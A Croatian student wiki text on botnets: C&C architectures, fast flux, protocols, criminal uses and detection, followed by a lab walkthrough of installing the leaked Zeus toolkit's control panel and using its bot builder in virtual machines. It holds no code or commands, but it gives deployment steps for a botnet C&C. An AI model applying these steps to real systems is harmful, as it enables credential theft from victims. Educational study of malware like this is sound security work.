Centralizirana C&C struktura Decentralizirana (P2P) C&C struktura Hibridna C&C struktura
Detekcija Lagana Teška Srednja
Elastičnost Mala Veoma visoka Prilično visoka
Latencija Niska Prilično visoka Srednja
Pronalazak Prilično težak Veoma težak Težak
Složenost Jednostavna Srednja Visoka
Iskustvo Veoma visoko Srednje Nikakvo

Detekcija se odnosi na botmastere, odnosno da njihovu detekciju od strane mrežnih operatora i drugih stručnjaka iz područja sigurnosti. Na temelju prikazane tablice, možemo vidjeti kako je najlakše detektirati botnete s centraliziranom strukturom, a najteže je detektirati botnete s decentraliziranom strukturom.

Elastičnost se odnosi na otpornost botneta protiv uklanjanja botova ili ometanja komunikacije. Naime, radi se o tome da uklanjanjem servera iz centralizirane strukture se može narušiti cijela komunikacija u botnetu dok kod peer to peer strukture uklanjanje jednog peer-a ne utječe mnogo na djelotvornost botneta, što se može vidjeti i po ocjenama iz tablice, a i prethodno je spomenuto prilikom opisa C&C strukturi botneta.

Latencija se odnosi na to koliko dugo je potrebno da naredba od strane botmastera stigne do odgovarajućeg skupa botova u botnetu. Tako kao što je prethodno spomenuto, ali i prikazano u tablici, naredbe u centraliziranoj strukturi stižu brže nego li u P2P strukturi jer kod centralizirane strukture naredbe idu direktno svakom od botova.

Pronalazak se odnosi na to koliko lagano je pronaći stvarnog napadača u botnetu. Naime, radi se o tome da botmasteri koriste put proxy-ja za slanje naredbi botovima čime skrivaju svoj identitet. Međutim, u centraliziranim mrežama lakše je pronaći napadača nego li u P2P mrežama jer u P2P mrežama nije jasno odakle su ustvari naredbe unesene.

Složenost se odnosi na to koliko teško i složeno je uspostavljanje određene C&C strukture. Tako možemo vidjeti u tablici da je jednostavnije uspostaviti centraliziranu C&C strukturu nego li P2P C&C strukturu što je i jasno jer u centraliziranoj strukturi su svi botovi direktno povezani na server dok u P2P strukturi su botovi nasumično povezani radi čega je ujedno i teža kontrola nad njima.

Iskustvo se odnosi na to koliko često je struktura botneta do danas korištena. Kako se centralizirana struktura koristila veoma dugo vremena, iskustvo je veoma visoko, a P2P strukture se sve više koriste te je tako iskustvo još srednje, dok se hibridna struktura dosad još nije koristila u praksi od strane napadača te je tako i iskustvo nikakvo.

Uloga DNS-a za botnete

DNS ima veoma bitnu ulogu kod centraliziranog pristupa. Naime, DNS dopušta da se promjene C&C arhitekture obavljaju dinamički. Kada se DNS koristi, C&C server se identificira prema C&C imenu domene koje se uz pomoć DNS-a prevodi u IP adresu. Tako su višestruke, uspješne tehnike smanjenja botneta usmjerene na DNS primjene i u praksi, a primjer je deregistracija imena malicioznih domena (prema ENISA, 2011., str. 18).

Kada se spominje DNS u vezi s botnetima, dobro je spomenuti i Fast Flux. To je tehnika koju koriste botneti da bi povećali elastičnost odnosno otpornost na uklanjanje botova ili ometanje botneta i da bi povećali anonimnost. Temeljna ideja Fast Flux-a je imanje velikog broja IP adresa povezanih sa jednim potpuno kvalificiranim imenom domene, gdje su IP adrese zamijenjene sa ekstremno viskom učestalosti kroz mijenjajuće DNS zapise.

Botnet komunikacijski protokoli

Command and Control strukture odnosno tehnike, kao što je spomenuto, mogu koristiti različite komunikacijske protokole. Komunikacijski protokoli koji se koriste u botnetima pružaju razumijevanje podrijetla botneta i mogućih programskih alata koje botnet može koristiti. Osim toga, znanje o tome koje komunikacijske protokole koristi botnet omogućava razumijevanje za dešifriranje komunikacije koja zauzima mjesto između bota i botmastera (prema Sprouts, 2009., str. 8).

Neki od komunikacijskih protokola koje koriste Command and Control tehnike su protokoli kao što su IRC, HTTP, IM. U nastavku ćemo ukratko proći kroz sve navedene protokole.

IRC

Kada je riječ o botnetima, najrašireniji mrežni protokol koji se koristi je Internet Relay Chat (IRC). Taj protokol je visoko skalabilan i ima ekstremno niske latencije zbog jednostavnosti i malog oveheada IRC formata. U IRC baziranom botnetu, C&C server je instaliran kao IRC server na host računalu te botmaster kreira kanal na C&C serveru, a botovi povezani na taj kanal primaju naredbe od botmastera i izvršavaju te naredbe kako bi vršili razne maliciozne funkcije. Važno svojstvo IRC protokola je i da broj potencijalnih učesnika u jednom kanalu, tehnički nije ograničen što omogućava veliku kolekciju botova u jednom kanalu. IRC je ujedno savršen protokol za rukovanje s botovima jer podržava lozinke i privatne chatove. Mana IRC-a je to da kad je kanal jednom detektiran, može biti veoma jednostavno skinut od strane nadležnih. Osim toga, praćenje IRC prometa i instalacija Firewall-a odnosno nedopuštanje prometa na određenom portu može smanjiti šanse da host postane žrtva botmstera, tj. da postane još jedan od botova u botnetu ili pak može onemogućiti komunikaciju sa botmasterom.

HTTP

HTTP je još jedan od protokola koji botnet može koristiti, a smatra se jednim od najraširenijih protokola na Internetu. Profesionalci često HTTP znaju zvati Universal Firewall Traversal jer promet na portu 80 je gotovo uvijek dopušten što omogućava lakšu zarazu (prema MALWARE CITY). U usporedbi s IRC protokolom, možemo reći da je HTTP manje prikladan od IRC-a za velike botnete, ali s druge strane osigurava botmastere da mogu kontaktirati svoje botove. HTTP botneti su jednostavniji za postavljanje i izvršavanje, ali ih je teže detektirati unatoč tome što je HTTP promet generiran od botneta drugačiji od normalnog HTTP prometa jer se skriva unutar jako velikog legitimnog HTTP prometa, te tako HTTP botneti sve više postaju preferirani pristup za Command and Control sustave zombi mreža odnosno botneta.

IM

Instant Messaging (IM) botneti, odnosno botneti koji se baziraju na IM protokolu, rjeđi su od IRC ili HTTP botneta iako se oslanjaju na istu tehnologiju. Razlika IM botneta od IRC mreža je u tome što oni koriste komunikacijske kanale pružene od IM servisa kao što su AOL, MSN, ICQ,Yahoo i slični (prema MALWARE CITY). Razlog manjeg korištenja IM botneta je u tome što je veoma teško stvoriti individualne IM račune za svaki bot u mreži botova.

Osim navedenih protokola na kojima se mogu temeljiti botneti, postoje i drugi protokoli koje botneti mogu koristiti no pošto su oni rjeđi ovim putem ih nismo spomenuli.

Motivacija i koristi od botneta

Botnet je ništa više nego alat kojega koriste napadači sa različitim motivima. Najčešći motivi napadača su upravo kriminalni ili destruktivni motivi. Naime, botnet pruža ogromne mogućnosti sa svojim skupom umreženih računala, a koje mogućnosti će napadač iskoristiti ovisi o mašti i vještini napadača. U današnje vrijeme glavni motiv napadača je generirati profit od akcija koje omogućava botnet. Neke od mogućnosti odnosno akcija koje omogućuju botneti biti će ukratko spomenute u nastavku.

Krađa identiteta i privatnih korisničkih podataka

Radi se o tome da napadači koriste botnete kako bi sakupili velike količine osobnih informacija. Krađom tih podataka mogu se izgraditi lažni identiteti koji potom mogu biti korišteni za pristup osobnim računima. Dakle, kako je glavna namjera korištenja botneta dobivanje financijskih podataka, koriste se za automatsku ekstrakciju korisničkih podataka i vjerodajnica od inficiranih hostova. Pritom, ciljni podaci za krađu uključuju krađu lozinki različitih servisa poput e-maila, web-shopova, bankovnih računa itd. što omogućuje botmasteru predstavljanje žrtve radi provođenja željenih akcija kao što je prijevara. Primjerice, krađom vjerodajnica za web shop ili bankovni račun, napadač može veoma lako profitirati jer ima pristup financijama žrtve. Tako može obavljati kupnju određenih roba ili određene novčane transakcije što predstavlja veliku štetu žrtvi. Ako pak napadač pribavi lozinku e-mail-a, može doći i do kontakata žrtve te oni mogu biti iskorišteni za slanje e-mail-ova koji sadrže maliciozne priloge, za spam i sl..

Slanje neželjene elektroničke pošte (engl. Spam e-mail)

Jedna od najpopularnijih koristi botneta je masovno slanje neželjene elektroničke pošte, što se pod engleskim nazivom naziva spamming. Radi se o tome da današnji spameri posluju sa ili iznajmljuju botnete i tako umjesto da šalju neželjenu elektroničku poštu iz samo jednog izvora, šalju ju sa velikog broja zombija odnosno inficiranih računala u botnetu. Na taj način spamer ostaje anoniman te se sva krivnja prebacuje na inficirano računalo što ujedno komplicira protumjere kao što je stavljanje sumnjivih IP adresa na crnu listu. Gubitak jednog zombija iz botneta ne utječe posebno na slanje spamova te tako botneti predstavljaju idealan medij za spamere koji imaju za primarnu namjenu masovnog slanja elektroničke pošte reklamiranje. Naime, treća strana kupuje ili iznajmljuje usluge od strane botmastera, tj. dostavu hrpe neželjene elekroničke pošte, a ako bi reklamirali svoje proizvode. Ta nepoželjna elektronička pošta tj. spam mail može sadržavati malware u prilogu ili neke poveznice na maliciozne web stranice. Osim toga, tu se pojavljuje pojam „phising“, koji se odnosi na krađu lozinki, a predstavlja još jednu od koristi nepoželjne elektroničke pošte. To se ujedno povezuje sa socijalnim inženjeringom odnosno njegovim manipulativnim radnjama kojima se nastoji nagovoriti žrtvu da ustupi svoje podatke, što daje temelj za krađu identiteta i slično. Smatra se da je u prosjeku 84% nepoželjne elektroničke pošte poslano od strane botneta (prema Ertug Karamatli, 2011., str. 2).

Prevara klikom (engl. Click fraud) i plaćanje po instalaciji (engl. Pay-per-install – PPI)

Prevara klikom, temelji se na jednom danas veoma popularnom mehanizmu mjerenja popularnosti stranice, a to je mjerenjem broja posjeta ili klikova na web stranici. Osim toga, neke reklame koje se pojavljuju na web stranicama se naplaćuju na temelju modela plaćanja po kliku gdje oglašivač plaća na bazi broja klikova na stranici koje su izvršili posjetitelji na reklami koja se pojavljuje na web stranici. Pritom, svaki mehanizam koji omogućava automatsko povećanje brojača klikova se smatra prevarom. U kontekstu botneta, prilikom prevare klikom, upravitelj botnet mreže tj. botmaster, pokušava na umjetan način podići popularnost određene web stranice tako da naredi velikom broju računala da posjete tu stranicu, prividno stvarajući veliki interes za njenim sadržajem (prema CIS-u, 2011., str. 6). Scenarij je slijedeći: prvo napadač sklapa suradnju s online oglašivačem koji plaća po posjeti stranice ili po kliku na reklamu, a zatim kako ima potpunu kontrolu nad žrtvinim računalom, može koristiti takva računala za simulaciju pregledavanja stranica, te tako može od reklamne kompanije zaraditi puno više novca. Time reklamna kompanija ustvari s obzirom na generirani promet nije zaradila nikakvu dobit jer je velik dio prometa generiran uz pomoć botneta.

Osim prethodno spomenutog modela plaćanja po kliku, postoji model plaćanja po instalaciji. Tu se radi o tome da botmaster nudi instalaciju softvera na ciljana računala za svoje klijente. Neki primjeri tog softvera su softver za reklamu (engl adware), koji primjerice pokazuje dodatne reklame u preglednikovim iskočnim prozorima, spyware koji prati ponašanje korisnika ili pak tipovi malwarea koji integriraju žrtvino računalo u drugi botnet. (prema ENISA, 2011., str. 23).

Distribuirani napad uskraćivanjem usluga (engl. Distributed Denial of Service – DDoS)

Kao što i sam naziv kaže, ovdje se radi o napadu kojime se uskraćuju usluge. Naime, svaki server ima određenu granicu propusnosti, tj. određeni kapacitet koji se odnosi na to koliko najviše radnji može napraviti u određenoj jedinici vremena. Ukoliko se ta granica pređe, može doći do rušenja servera čime on postaje nedostupan ili veoma spor za korištenje (prema CIS-u, 2011., str. 6). Kako je većini firmi veoma važna dostupnost njihovih stranica s informacijama, uslugama i sl. na Internetu za uspješnost poslovanja, bitno je da ne dođe do nedostupnosti svega što nude. Dakle, očito je da je ispravno funkcioniranje servera koji drži web stranice poduzeća veoma bitno za poduzeća koja posluju i online. Kod distribuiranog napada uskraćivanjem usluga, radi se o tome da botmaster naredi svim računalima nad kojima ima nadzor, tj. onim koji čine botnet da pristupe određenoj Internet stranici u isto vrijeme te time ugroze rad poslužitelja na kojem se nalazi web stranica. Napad se zove distribuiranim iz razloga što u napadu sudjeluje velik broj geografski distribuiranih inficiranih računala. Takvi napadi se događaju prilično često, a profitna shema vezana uz korištenje botneta u te svrhe je ucjena odnosno iznuda novca od napadnute tvrtke. Osim toga, mogući razlog takvih napada je nanošenje štete konkurenciji i zadobivanja tržišne prednosti.

Hosting ilegalnih materijala i širenje malicioznog koda

Ilegalni materijal podrazumijeva slike, video-zapise i sl. dječje pornografije, piratski softver ili kod za krekiranje licenciranog softvera, piratske e-knjige, igrice i tako dalje, a koje mogu biti pohranjene kao dinamički repozitorij na ugroženo računalo od strane botmastera (prema Sprouts, 2009., str. 8). Osim toga, taj ilegalni materijal često zna sadržavati maliciozni kod u obliku različitih malwarea. Kako svi botovi sadrže funkcionalnost koja dopušta FTP, HTTP i TFTP skidanje datoteka i izvršenje izvršnih datoteka, botneti to koriste za ažuriranje svojih malicioznih kodova, a osim toga, na temelju naredbe botmastera može biti skinuta bilo koja datoteka koju je odredio botmaster za skidanje. Upravo mogućnost botova da skidaju i instaliraju izvršne datoteke, koristi se za instaliranje dodatnih malwarea.

Njuškanje prometa i praćenje korištenja tipkovnice (engl. Sniffing Traffic and Keylogging)

Kada govorimo o njuškanju prometa u kontekstu botova, misli se na to da botovi mogu koristiti paket njuškala za praćenje zanimljivih, jasnih tekstualnih prolaza ugroženog računala (prema The Honeynet Project). Praćenje odnosno promatranje prometa može dovesti do detekcije velikog iznosa informacija kao što su navike korisnika, ili pak informacije poput lozinki i korisničkih imena za što se njuškala najčešće i koriste. Osim toga, ukoliko je neko računalo ugroženo više puta te je tako dio više različitih botneta, može sakupljati informacije i od drugih botneta.

Što se tiče praćenja korištenja tipkovnice, ono uskače kada je njuškanje nemoguće zbog šifriranih komunikacijskih kanala te tako čini još jednu od značajki botova. Naime, uz pomoć praćenja korištenja tipkovnice veoma se lako može doći do osjetljivih informacija, a tome pripomaže i korištenje mehanizma filtriranja ključnih nizova blizu ključnih riječi (prema The Honeynet Project).

Manipulacija online anketama/igrama (engl. Manipulating online polls/games)

Kod manipulacije online anketama i igrama, radi se o tome da ankete i igre mogu veoma lako postati žrtvama botneta gdje botovi mogu manipulirati rezultatima. Kako svaki bot ima različitu IP adresu, svaki glas od strane bota u nekoj anketi će imati istu vrijednost kao i glas dan od strane stvarne osobe, a slično je i kod igrica.

Politički interesi

Već smo više puta rekli kako je glavni motiv napadača ekonomska korist, no osim toga, ponekad su razlozi korištenja botneta politički ili vojni interesi. Tako je primjerice bio napad botnetom GhostNet koji je inficirao 1295 računala u 103 zemlje, pri čemu je oko 30% inficiranih računala bilo visoke vrijednosti jer su bili u vladinim ustanovama. Ta računala su uključivala računala iz različitih veleposlanstava, ministarstava i povjerenstava. Nekoliko mrežnih tragova snimljenih iz tih računala pokazala su komunikaciju između inficiranih hostova i IP adresa od C&C servera smještenih u Kini. Zanimljivo je da su ti tragovi pokazali izvlačenje osjetljivih dokumenata. (prema ENISA, 2011., str. 24).

Na temelju nabrojanih aktivnosti koje mogu biti djelo botneta i koje mogu iskoristiti napadači za ispunjenje svojih ciljeva, možemo vidjeti da botneti predstavljaju veoma dobar temelj za obavljanje kriminalnih radnji. Iz tog razloga, moramo naučiti što više o svim mogućim prijetnjama, o tome kako se napadači obično ponašaju i sukladno tome razviti tehnike za borbu protiv njih.

Prevencija, detekcija i prekidanje botneta

Botneti predstavljaju veliki izazov za Internetsku zajednicu jer napadači koriste sve bolje alate. Tako ujedno i borba protiv botneta, ali i detekcija botmastera postaju sve izazovnijima.

Prevencija napada odnosno postajanja žrtve botneta zahtijeva visoku razinu svjesnosti o online sigurnosti i privatnosti. Prema tome, moramo održavati sustav kako bi bio najnoviji, instaliranjem raznih ažuriranja i zakrpa operativnog sustava, i kako bismo smanjili na minimum ranjivosti sustava. Nadalje, također je veoma važno regularno instalirati sigurnosne zakrpe za preglednike, ažurirati softver (držati ga „up-to-date“), zaštititi računalo sigurnosnim alatima i redovito ih ažurirati kako bi se izbjegle moguće infekcije. Tako je primjerice, dobro i uključiti vatrozid i koristiti antivirusne programe kako bismo držali sustav čistim. Korisna stvar je i korištenje Captche testova koji su predloženi za website i druge servise za zaštitu od botova i drugih malicioznih agenata te je dobro i blokiranje protokola koje botneti koriste. I na kraju bitno je još napomenuti da su piratski softver, igrice i drugi ilegalni materijali koji su dostupni online često izvor malicioznog koda te da tako predstavljaju veliku sigurnosnu prijetnju i da se stoga korisnici trebaju ograničiti od pristupa takvim materijalima i stranicama koji ih sadrže.

Detekcija botneta predstavlja veliki izazov, a naročito zato što mnogi nisu ni svjesni da su njihova računala dio botneta. Neke od tehnika detekcije baziranih na hostu su antivirusni softveri za detekciju i uklanjanje bota, pri čemu postoje i Antibot softveri za istu svrhu, zatim sustavi hosta za detekciju/prevenciju upada (HIDS/HIPS) koji ograničavaju razne aplikacije koje se mogu izvršavati na sustavu, te tehnike bazirane na OS alatima kao što su netstat, reg, dir, tasklist i druge (prema SANS Institute InfoSec Reading Room, str. 15). Osim tehnika baziranih na hostu, postoje i tehnike temeljene na mreži. Neke od tih tehnika su NIPS (Network intrusion pervention systems) koji brani sustav od infekcije botom blokirajući poznate mrežne napade koji uzrokuju infekciju malware-om te koji blokira napade od strane inficiranih hostova i dopušta detekciju ugroženih hostova, zatim pregled firewall logova što može biti neprocjenjivo za detekciju malwarea čak i bez opsežnog antivirusa te mrežna revizija puta koja se može učiniti i pomoću Wiresharka. Jedna od tehnika je također i filtriranje malicioznog sadržaja u Web i e-mail prometu koja je inače više obrambena tehnika, ali ima i važnu ulogu u detekciji, a postoje i DNS bazirane tehnike koje se također mogu koristiti u obrani i detekciji botova. Kao još jednu zanimljivu metodu detekcije spomenut ćemo honeypot. Honeypot je popularna metoda za stavljanje zamke i detekciju aktivnosti botneta. Općenito, honeypot je izoliran i zaštićen sustav koji se pojavljuje kao dio mreže i ima na njoj pohranjene važne informacije. On dopušta da bude inficiran od strane bota te da postane dio botneta, nakon čega se koristi za snimanje bot malwarea i detekciju bot kontrolera (prema Sprotus, 2009., str. 9). Također, metrike kao što su veze, odgovori i sinkronizacija su predlagane za detekciju botneta kroz analizu njihova ponašanja.

Nakon detekcije botneta, važno je neutraliziranje zombi računala tako da se sa njega makne bot infekcija, a najvažnije je i ometanje ili čak onemogućavanje rada C&C servera cijelog botneta nakon što je pronađen. Jedan od pristupa za čišćenje mreže od inficiranih računala, tj. botova je pristup pod engleskim nazivom wallen garden. Wallen garden se odnosi na tehnike koje može poduzeti pružatelj mrežnih usluga (engl. network provider) kako bi motivirao pretplatnike na čišćenje svojih inficiranih računala. To se još zna zvati online okolinom u kojoj inficirani hostovi mogu poduzeti mjere za uklanjanje neželjenog softvera (prema Institut für Internet-Sicherheit, 2009., str. 20). Tako korisnici sa instaliranim malwareom mogu vidjeti website upozorenje od strane mrežnog opearatora umjesto od website-a na koji su željeli ući. Osim toga, na tom website-u, pružatelj mrežnih usluga može ponuditi sigurnosne zakrpe ili neku drugu vrstu podrške kako bi korisnici uklonili malware sa svojeg računala. Međutim, iako ovaj pristup zvuči veoma dobro, vjerojatno nikad se njime neće moći ukloniti cijeli botnet jer vjerojatno svi pružatelji mrežnih usluga neće htjeti poduzeti napore za taj pristup.

--Anita Laktašić 20:05, 28. prosinca 2011. (CET)

Zeus

Predstavljanje Zeusa

Kao što ste mogli do sada shvatit malware predstavlja vrlo veliki problem u svijetu računalne tehnologije. Kada govorimo o botnetima kao obliku malware-a tada postoji nekolicina primjera koji se u svijetu računalnog kriminala smatraju kraljevima. Tako je Zeus prvi puta primjeren 2007 godine te se smatra da je postojao neko vrijeme prije toga. S vremenom mogao se pratiti njegov napredak i rast a uglavnom se bazirao na organizaciji s ruskog govornog područja. Tijekom zadnje dvije godine mogli smo svjedočiti njegovom konstantnom napretku i rastu te hvaljenju od strane underground foruma. Zeusova reputacija stečena je kroz vrlo velik bro zaraženih računala te velik broj ukradenih podataka s zaraženih računala. Ovisno o izvedbi bot-a i nedostatcima koje iskorištava Zeus može vršiti razne oblike krađe podataka, tako možemo reći da se radi o bankarskom trojanu, html injector-u, kradljivcu formi ili key logger-u. U ovakvom okruženju korisnik računala gotovo e u cijelosti pod nadzorom vlasnika bot-a. Na taj način napadač može kontrolirati i modificirati web okruženje u kojem se korisnik nalazi te u svakom trenutku tražiti korisnika neki oblik njegovih podataka. Cijeli postupak oko krađe i spremanja podataka se obavlja vrlo uredno kroz funkcionalnosti bot-a koje omogućuju prikupljanje relevantnih podataka koji se mogu spremati u SQL bazu podataka. Takav način prikupljanja podataka napadaču omogućuje jednostavno i brzo sortiranje i pronalaženje njemu potrebnih podataka kako bi ih iskoristio u svrhu krađe. Zeus-ova struktura podjeljena je na dva osnovna dijela :

S 20 botnet.png

Ovakva struktura je jednostavna za praćenje i vizualizaciju ali ponešto zastarjela pošto se infrastruktura novijih botnet-a sastoji od razina komunikacije te velikog broja servera koji služe kao posrednici za komunikaciju, sve to trebalo bi onemogućiti praćenje i pronalaženje centralnog komandnog centra. U slučaju sa Zeus-om komunikaciju je moguće prekinuti pronalaženjem centralnog servera koji se može naći posjedovanjem zaraženog računala i praćenjem aktivnosti koje to računalo ima s internetom. U slučaju otkrivanja komandnog centra bot-ovi koji su pripadaju tom centru mogu nastaviti komunikaciju s nekim drugim serverom ali u takvim slučajevima potrebno je predodrediti takve podatke u konfiguraciji bot-a. Cijeli sustav tako leži na principu posjedovanje servera koji nije podložan zahtjevima za gašenje te se takvi serveri lako mogu naći na prodaji po underground forumima kao "bulletproof hosting".

S 19 botnet.png

Kako je primjer najbolji način za shvaćanje i proučavanje ovakvih oblika prijetnji odlučili smo se baciti u potragu za izvornim kodom i postojećim botovima koji su poznati na internetu. Sve prikazane napravljeno je u edukacijske svrhe te prilikom izrade nije zaraženo nijedno računalo izvan testnog okruženja.

Zeus toolkit

Zeus je opće poznat kao Zbot koji zarazi računalo i s njega pokušava uspostaviti komunikaciju s komandnim centrom, ono što je manje poznato je da on dolazi s potpunim toolkitom koji sadrži sve potrebno za izradu distribuciju i kontrolu jednom napravljenog bot-a. S jednog mjesta napadač može kontrolirati cijeli botnet bez prevelikih problema. Ovakav način kontroliranja i upravljanja bot-ovima je u najmanju ruku zastrašujuće jer se vidi kompleksnost i količina resusra potrebana za izradu tako funkcionalnog i jednostavnog alata. Ono što je jednako toliko impresivno je način na koji se ovakav toolkit prodaje i distribura u podzemnom miljeu, tako se nedavno ovakav toolkit prodavao za nevjerojatnih 5000 dolara s uključenim bullet proof hostingom i korisničkom podrškom, dakle ovdje se ne radi o jednostavnom sklepanom komadu softvera već o profesionalno napravljenom i upakiranom sustavu. Ako ste nešto boljeg socijalnog statusa i nemate vremena ni volje se baviti sporim poslom širenja svog bot-a jednostavno potražite cijeli botnet koji će vam individualci drage volje prodati za neki iznos. Na taj način dobit ćete već postavljenu infrastrukturu koja je spremna za kreiranje spam poruka ili krađu podataka.

S 18 botnet.png

Krenimo s samim toolkitom, navedeni je bio vrlo dobro ćuvan te se prodavao kao osnova za svakoga tko je htio na jednostavan način napraviti i kontrolirati svoj botnet. Oko 10.05.2011 počelo se pričati o izlasku cjelokupnog izvornog koda ovog toolkita, to je značilo da je negdje bilo moguće skinuti kod za jedan od najpopularnijih malware-a koji su ikad postojali i to besplatno. Tako se ovaj toolkit bez velikog problema može naći kao zeus.rar na velikom broju mjesta te sadrži cjelokupni build Zeus generatora i komandnog centra. Iz priložene strukture vidljivo je da se radi o projektu koji se bez problema može otvoriti u VS2010 te se od tamo mogu pregledati cjelokupni izvorni kod ez puno muke. VS nam pak otkriva da je cjeli toolkit rađena kao skup od 7 projekata sklopljenih kako bi tvorili Zeus toolkit. Ono što je interesantno za one iskusnije programere je naravno sam builder projekt. Builder projekt sadrži funkcionalnost generatora bot-a te je ujedno i glavno mjesto za unapređivanje ovog malware-a. Cijeli builder je napisan u C++ te komentiran s ruskim jezikom tako da je potrebno dosta vremena kako bi mogli krenuti s proučavanjem.

S 17 botnet.png

Kako je nam je prije svega bila potrebna vizualizacija cijele ove zbrke koja međusobno poziva interne i eksterne biblioteke željeli smo napraviti klas diagram unutar samog VS-a no pošto cijel stvar ima tek nekoliko klasa to i nije bilo od neke velike pomoći. Arhitecture explorer je pomogao do te mjere da smo mogli vidjeti koliko stvari idu u dubinu te koje su osnovne povezanosti unutar projekta. Ono što je uistinu interesantno je kako to sve izgleda kroz dependencies graf dobije se slika svih biblioteka i međusobno povezanih dijelova koda, odsječak tog grafa izgleda otprilike kao na slici

S 16 botnet.png

Cijeli prikaz moguće je vidjeti na stranici : http://crazylazy.info/~wishi/pics/ArchInternalDependencies-DirectoryStructure-Zeus.png Na priloženoj slici možemo vidjeti samo odsječak onoga što se zbilja nalazi unutar toolkita. Komandni centar koji je uključen u toolkit je PHP baziran te se praktički sva funkcionalnost sa strane napadača bazira na PHP-u. Ono što se zahtjeva od napadača kao kontrolnog centra je infrastruktura servera koja prema priloženom priručniku mora sadržavati :

Također postoje i osnovni zahtjevi za podešenjima php.ini datoteke kako bi se moglo ostvariti korektno komuniciranje s clijentima. Za samu bazu podataka bitno je da ima velik broj mogućih konekcija kako bi bot-ovi mogli pristupiti bazi i vršiti upis podataka, preporućeno 2000 + mogućih konekcija. U uputama su jasno naznačene naredbe koje se mogu slati bot-ovima i poboljšanja koja su napravljana s novijim verzijama. Tako možemo vidjeti da verzija 2.0.0.0 nosi čak 25 unaprjeđenja. Za potrebe testiranja i pregleda mogućnosti našeg toolkita kreirali smo virtualni stroj u kojem će se nalaziti C&C botnet-a i stroj koji će primiti bot-a i biti zaražen njima, u ova dva virtualna stroja provest ćemo praćenje i analizu rezultata provedenog testiranja.

Postavljanje okoline

Za poćetak kreiramo virtualni stroj koji će sadržavati C&C, pošto naši resursi ne zadovoljavaju potrebe koje su navedene za upravljanje bootnetom prisiljeni smo raditi s manjim resursima no to ne bi trebao predstavljati problem s obzirom na jednog bot-a. Kako bi smo smjestili komandni centar potreban nam je web server, za te potrebe poslužiti će Wamp server. Unutar instaliranog wamp servera stavili smo cijeli zeus-ov toolkit koko bi smo mogli pokrenuti instalaciju. Za potrebe klijentskog računala naravili smo još jedan virtualni stroj na koji smo instalirali nekoliko alata za praćenje i analizu. ProcessExplorer će nam poslužiti za pregled stanja procesa, wireshark za pregled komunikacije između servera i bot-a te slika registrija kako bi se kasnije mogle utvrditi promjene koje je napravio bot. Pošto je kontrolnom panelu potrebna baza unutar MySql napravit ćemo praznu bazu podataka koja će u prilikom instalacije biti popunjena odgovarajućim tablicama.

S 16 botnet.png

Nakon kreiranja baze podataka potrebno je instalirati kontrolni panel, kako toolkit sadrži direktorij s instalacijom potrebno je browser uputiti na taj direktorij i u dobivenu formu unijeti podatke. Od bitnih stvari tu su naziv naše baze podataka te lozinka koje je zapisana u config.txt datoteci te se koristi kako priliko kreiranja bot-a prema toj lozinci vrš se prepoznavanje i dekriptiranje podataka dobivenih od bot-a.

S 15 botnet.png

Nakon instalacije možemo vidjeti da se naša baza podataka popunila novim tablicama te se također unio i jedan korisnik kojem je omogućen ulaz u kontrolni panel.

S 14 botnet.pngS 13 botnet.png

Nakon cijelog postupka potrebno je pokrenuti cp.php unutar direktorija namijenjenog serveru te se time pokreće kontrolni panel koji najprije zahtjeva login podatke korisnika.

S 12 botnet.png

Problemi na koje smo naišli vežu se uz login u sustav, naime nismo bili u mogućnosti prijaviti se na temelju podataka koje smo unijeli prilikom instalacije. Iako sustav nije obavještavao o pogrešnom unosu korisničkog imena ili lozinke nije nas puštao na glavnu stranicu kontrolnog panela. Nakon pozamašnog proučavanja ruskog i prevođenja komentara unutar PHP koda u kojem je napisan čitav kontrolni panel i pokušavanja upada u sustav moramo naglasiti da očito fale neki dijelovi koda koji onemogućavaju ulazak u sustav. Ovo i nije toliko teško za povjerovati pošto se ipak radi o vrijednom komadu softvera koji je vjerojatno prošao kroz neke preinake prije nego što je uspio doći na Internet.

Builder

S 11 botnet.png

Glavno sučelje samog programa koji generira bot je vrlo jednostavno za korištenje, štoviše radi se o nekoliko klikova mišem kojim se na jednostavan način dolazi do bot-a. Vidimo da se ovdje radi o verziji 2.0.8.9 koja je nedavno bila puštena u javnost. Početni tab koristi se za otklanjanje samog bot-a ali do toga ćemo doći nešto kasnije. Dolje je prikazan sam builder i u njemu se nalazi nekoliko tipaka od toga imamo traženje config datoteke koja se koristi kao referentna točka bot-u i u nju se spremaju podatci o tome kako i što bot treba raditi na zaraženom računalu. Jednom definiran config kriptira se i pakira u binarnu datoteku koju kasnije bot pokušava dohvatiti. Generiranje samog bot-a je jedan pritisak gumba te se na taj način dobiva generički bot kojem je moguće dati neko ime. Sam bot se od drugih razlikuje po djelu koji je konfiguriran u config datoteci i tiče se statičkog djela konfiguracije. Statički dio automatski postaje dio bot-a i on se ne mijenja dok se dinamički dio mijenja s obzirom na upute koje dobiva od strane kontrolnog centra. Dio s opcijama ima samo jednu opciju a to je izbor jezika na kojem želimo da builder radi.

S 10 botnet.pngS 9 botnet.png

Jednom kreirani bot bez problema može zaraziti naše računalo tj. računalo na kojem je bio kreiran, pošto to nije svrha samog bot-a u alat je uključena opcija kojom je bez problema moguće pronaći i otkloniti kreirani bot. Na temelju lozinke za enkripciju koja je postavljena u config-u bot-a isti se traži na računalu, i u slučaju da je zarazio komandno računalo, otklanja

S 8 botnet.png

Control Panel

Jedom kad se kontrolni panel napokon otvori pozdravlja vas poćetna stranica s osnovnim podatcima o tome koliko je računala zaraženo vašim bot-om i koliko je istih aktivno, također moguće je pregledavati bot-ove prema botnet-ima koje se mogu kreirati kako bi se računala žrtvi mogla grupirati za lakše upravljanje i nadziranje.

S 7 botnet.png

Sustav između ostalog omogućava izlistavanje bot-ova ovisno o operativnom sustavu na kojem se nalaze ali i o velikom broju drugih parametara koji se mogu definirati u tablici filter-a. Filteri tako mogu osigurati precizno sortiranje bot-ova ovisno o njihovom statusu, imenu itd.

S 6 botnet.png

Rezultati pretrage dobivaju se u tablici sa svim relevantnim podatcima o računalu koje je trenutno zaraženo i o kojoj se vrsti bot-a radi.

S 5 botnet.png

Za odabrani bot predstavlja se niz opcija koje su vezane uz funkcionalnost, izvještavanje i slanje novih zadataka. Ovako organiziran upravljački centar je odlično dizajniran i za neke legalne komade softvera.

S 4 botnet.png

